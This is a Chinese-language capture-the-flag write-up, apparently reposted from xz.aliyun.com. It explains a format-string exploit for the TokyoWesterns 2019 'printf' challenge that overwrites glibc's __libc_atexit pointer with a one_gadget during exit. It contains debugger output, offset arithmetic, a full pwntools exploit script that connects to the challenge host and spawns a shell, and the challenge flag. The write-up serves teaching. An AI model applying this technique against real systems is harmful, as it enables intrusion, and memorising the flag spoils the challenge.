从TokyoWesterns 2019一道题谈谈在exit中的利用机会
2019-09-11 09:57:57 Author: xz.aliyun.com(查看原文) 阅读量:170 收藏

0x01 前言

printf是TokyoWesterns CTF 2019一道格式化漏洞利用题,有意思的是,题目给的二进制程序自己实现了一个printf函数。一般,在调用完main函数以后,程序call __libc_start_main,继续调用exit退出。若能够覆盖exit中的函数指针,便可在程序退出的时候劫持程序控制流。

0x02 加载libc

题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件

patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf

现在printf程序指向了题目所给libc和ld.so

~/workspace/elf # ldd printf
    linux-vdso.so.1 =>  (0x00007ffe09ac1000)
    libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
    /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)

0x03 分析漏洞点

保护全开

[*] '/root/workspace/elf/printf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/root/workspace/elf:/libc.so.6'

查看伪代码,sub_136E是程序自己实现的printf函数

_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // r9
  __int64 v7; // rdx
  __int64 v8; // rcx
  __int64 v9; // r8
  __int64 v10; // r9
  const unsigned __int16 **v11; // rax
  __int64 v12; // rdx
  __int64 v13; // rcx
  __int64 v14; // r8
  __int64 v15; // r9
  __int64 v16; // rdx
  __int64 v17; // rcx
  __int64 v18; // r8
  __int64 v19; // r9
  __int64 v20; // rdx
  __int64 v21; // rcx
  __int64 v22; // r8
  __int64 v23; // r9
  int i; // [rsp+8h] [rbp-118h]
  int v26; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h]
  unsigned __int64 v28; // [rsp+118h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  sub_130D();
  sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
  v26 = read(0, buf, 0x100uLL);
  buf[v26 - 1] = 0;
  for ( i = 0; i < v26 - 1; ++i )
  {
    v11 = __ctype_b_loc();
    v7 = (__int64)*v11;
    if ( !((*v11)[buf[i]] & 0x4000) )
      _exit(1);
  }
  sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
  sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
  sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
  buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
  sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
  return 0LL;
}

测试发现sub_136E存在格式化漏洞

~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx 
Hi, 
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0 
Do you leave a comment?
%lx %lx %lx %lx %lx %lx                       
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0

利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址

[+] Starting local process './printf': pid 21658
[*] libc.address 0x7f537407a000
[*] stack 0x7ffe1a368fa0
[*] canary 0x5bd36eedc61f6600
[*] proc_base 0x564edfcf0000

Full RELRO开启,这里不能写got表,查看libc的exit.c源码:

/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.
   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.
   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
   is complete. See concurrency notes in stdlib/exit.h where
   __exit_funcs_lock is declared.  */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;
      __libc_lock_lock (__exit_funcs_lock);
    restart:
      cur = *listp;
      if (cur == NULL)
        {
          /* Exit processing complete.  We will not allow any more
             atexit/on_exit registrations.  */
          __exit_funcs_done = true;
          __libc_lock_unlock (__exit_funcs_lock);
          break;
        }
      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

注意到__libc_atexit这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit所指向的地址

# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) \
DEFINE_HOOK (name, proto); \
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...

0x04 Debug

现在问题就在于如何将one_gadget写入该地址。向buf随便输入一串字符(我这里输入one_gadget的值),在内存检索该值,一共找到两处:

[+] Waiting for debugger: Done
[*] libc.address 0x7f591a884000
[*] stack 0x7ffcf901e290
[*] canary 0xb395c502847a3600
[*] proc_base 0x56346a570000
[*] one_gadget 0x7f591a966383

gef➤  search-pattern 0x7f591a966383
[+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory
[+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw-
  0x7ffcf901df00 - 0x7ffcf901df18  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
  0x7ffcf901e0a0 - 0x7ffcf901e0b8  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
gef➤  p/x 0x7ffcf901e0a0-0x7ffcf901df00
$1 = 0x1a0

设定偏移量为0x1000

pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)

明显看到one_gadget往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget覆盖__libc_atexit

[+] Waiting for debugger: Done
[*] libc.address 0x7f7142fcd000
[*] stack 0x7ffdb96518f0
[*] canary 0xeec90b90217bf000
[*] proc_base 0x5573ff19b000
[*] one_gadget 0x7f71430af383

gef➤  search-pattern 0x7f71430af383
[+] Searching '\x83\xf3\x0a\x43\x71\x7f' in memory
[+] In '[stack]'(0x7ffdb9632000-0x7ffdb9653000), permission=rw-
  0x7ffdb9650570 - 0x7ffdb9650588  →   "\x83\xf3\x0a\x43\x71\x7f[...]" 
  0x7ffdb9651706 - 0x7ffdb965171e  →   "\x83\xf3\x0a\x43\x71\x7f[...]" 
gef➤  p/x 0x7ffdb9651706-0x7ffdb9650570
$1 = 0x1196

当调用完__libc_start_main程序准备退出之时,跟进到libc的exit函数调用__libc_atexit

───────────────────────────── code:x86:64 ────
   0x7f624efde38c                  shr    rax, 0x3
   0x7f624efde390                  lea    r12, [rbx+rax*8+0x8]
   0x7f624efde395                  nop    DWORD PTR [rax]
 → 0x7f624efde398                  call   QWORD PTR [rbx]
   0x7f624efde39a                  add    rbx, 0x8
   0x7f624efde39e                  cmp    rbx, r12
   0x7f624efde3a1                  jne    0x7f624efde398
   0x7f624efde3a3                  mov    edi, ebp
   0x7f624efde3a5                  call   0x7f624f0788f0 <_exit>
────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[rbx] (
   $rdi = 0x00007f624f1af968 → 0x0000000000000000,
   $rsi = 0x0000000000000001,
   $rdx = 0x0000000000000000,
   $rcx = 0x0000000000000000
)

可以在IDA里看到该处的代码

LABEL_42:
          if ( v19 )
          {
            v18 = &off_1E66C8;
            if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 )
            {
              do
              {
                (*v18)();
                ++v18;
              }
              while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 );
            }
          }
          exit(status);
        }
        sub_12BDB0(dword_1EA108);
        goto LABEL_42;

查看rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget

─────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x00007f624f17d6c8  →  0x00007f624f079383  →  <execvpe+979> mov rsi, rcx
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007ffd3f489360  →  0x20786c2520786c25 ("%lx %lx "?)
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x00007f624f1af968  →  0x0000000000000000
$rip   : 0x00007f624efde398  →   call QWORD PTR [rbx]
$r8    : 0x2               
$r9    : 0x00007f624f183580  →  0x00007f624f183580  →  [loop detected]
$r10   : 0x00007ffd3f489224  →  0x0000000000000001
$r11   : 0x2               
$r12   : 0x00007f624f17d6d0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x00007f624f181108  →  0x0000000000000000
$r15   : 0x0               
$eflags: [CARRY PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

来算算到达该地址所需要的偏移,这里的0x9af030ba40便是偏移量

[+] Waiting for debugger: Done
[*] libc.address 0x7f624ef97000
[*] stack 0x7ffd3f489490
[*] canary 0x3a05dd79a9ba500
[*] proc_base 0x55a3c78fa000
[*] one_gadget 0x7f624f079383
[*] atexit_stack_diff 0x9af030ba40

gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
gef➤  p/x 0x00007f624f17d6c8-0x00007f624ef97000
$1 = 0x1e66c8
gef➤  p/x 0x7f624efde398-0x00007f624ef97000
$2 = 0x47398
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390
$3 = 0x9af030ba38
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8
$4 = 0x9af030ba40

0x1e66c8__libc_atexit相对于libc基址的偏移,可以在IDA找到该结构

__libc_atexit:00000000001E66C8 __libc_atexit   segment para public 'DATA' use64
__libc_atexit:00000000001E66C8                 assume cs:__libc_atexit
__libc_atexit:00000000001E66C8                 ;org 1E66C8h
__libc_atexit:00000000001E66C8 off_1E66C8      dq offset fcloseall_0   ; DATA XREF: sub_47170+1FF↑o
__libc_atexit:00000000001E66C8                                         ; sub_5C960+1BFA↑o ...
__libc_atexit:00000000001E66C8 __libc_atexit   ends

0x390是栈内地址偏移

[+] Waiting for debugger: Done
[*] libc.address 0x7f2e14154000
[*] stack 0x7ffc707793c0
[*] canary 0x6ad3921cfee82500
[*] proc_base 0x55fcbd744000

gef➤  search-pattern 0x7f2e14236383
[+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory
[+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw-
  0x7ffc70779030 - 0x7ffc70779048  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
  0x7ffc707791d0 - 0x7ffc707791e8  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
gef➤  p/x 0x7ffc707793c0-0x7ffc70779030
$1 = 0x390

覆盖__libc_atexitone_gadget地址

0x05 get shell~

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

#context.log_level = "debug"
elf = ELF("./printf",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./printf")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
    elif context.arch == "amd64":
        #libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        #os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
        #os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
        libc = ELF("./libc.so.6")
        os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
        os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
    s = process("./printf")
elif DEBUG == 3:
    libc = ELF("./libc.so.6",checksec=False)
    ip = "printf.chal.ctf.westerns.tokyo" 
    port = 10001
    s = remote(ip,port)


def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")

def pwn():
    #zx(0x130B)
    #pause()

    pl = "%lx "*((0x100-4)/4)#64
    s.sla("What's your name?", pl)

    s.ru("Hi, \n")
    leak = s.ru("Do").split(" ")

    libc.address = int(leak[2],16) - 0x10d024
    stack = int(leak[39],16)
    canary = int(leak[40],16)
    proc_base = int(leak[41],16) - 0x2a40
    one_gadget = libc.address + 0xe2383
    info("libc.address 0x%x", libc.address)
    info("stack 0x%x", stack)
    info("canary 0x%x", canary)
    info("proc_base 0x%x", proc_base)
    info("one_gadget 0x%x", one_gadget)

    atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
    info("atexit_stack_diff 0x%x", atexit_stack_diff)

    pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
    s.ru("comment?")
    s.sl(pl)

    s.irt()
    #clean()
    # TWCTF{Pudding_Pudding_Pudding_purintoehu}

if __name__ == "__main__":
    pwn()

pwn~


文章来源: http://xz.aliyun.com/t/6260
如有侵权请联系:admin#unsafe.sh